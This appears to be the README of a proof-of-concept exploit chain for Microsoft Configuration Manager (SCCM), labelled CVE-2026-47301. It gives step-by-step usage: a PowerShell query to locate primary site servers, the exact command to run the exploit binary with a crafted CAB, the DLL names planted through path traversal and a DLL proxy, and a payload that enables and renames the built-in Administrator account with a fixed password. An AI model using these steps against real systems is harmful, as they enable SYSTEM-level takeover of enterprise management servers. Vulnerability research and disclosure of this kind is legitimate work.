Proof-of-concept exploit chain (CVE-2026-47301) for Microsoft Configuration Manager (SCCM), combining broken access control, CAB extraction-path traversal arbitrary file write, certificate verification bypass, and DLL hijacking to achieve SYSTEM-level code execution.

How to use?

This exploit uses a malicious cab crafted specifically to abuse this CVE, a cab was provided for the POC by me.
The exploit will hijack execution by planting two DLLs at: ..\..\..\..\ from the intended path into the Configuration Manager \bin\X64 Installation dir, Installing Microsoft Configuration Manager on a different path will not matter since the exploit is generic to work on any path without knowing anything.

The Dlls names are: adsource_original.dll and adsource.dll.

The "original" DLL is used to perform a DLL Proxy attack and make the exploit work WITHOUT crashing the SMS_EXECUTIVE service.

all you need is the the IP/DNS name of the Primary Site Server, although this information is never published in Active Directory, we can safely assume that by inspecting the SDDL over the CN=System Management,CN=System container. Machine accounts with full control over this container, are usually the Site Servers.

Find The Primary Site Server

$root = [ADSI]"LDAP://RootDSE"
$configDN = "CN=System Management,CN=System," + $root.defaultNamingContext
$container = [ADSI]"LDAP://$configDN"
$container.ObjectSecurity.Access |
    Where-Object { $_.ActiveDirectoryRights -match "GenericAll|FullControl" } |
    Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType |
    Format-Table -AutoSize

The result would show you entities with GenericAll over that container, take entities with $ at the end, these are primary site servers.

Execute The Exploit

.\C1_AFW.exe write SCCM-CM01.basoss.local 'pwn.cab' .\evil.cab  --verbose

Results

evil_RID500.cab

The exploit enables the RID 500 Administrator account if its disabled, renames it to omrispy with the password of Xm#Poc-2026!Adm1n$Ok, It also logs the changes made by the exploit and the previous name the RID 500 Administrator had so you can revert everything back to the way it was, Logs are saved at the path of C:\POC.txt on the victim Primary Site Server.

The DLL load occurs every 5 minutes, so expect a bit of a delay between firing up the exploit and actually seeing the results happen, this behaviour was observed using Procmon64.exe.

For more detailed information about the exploit you can read my full article about it.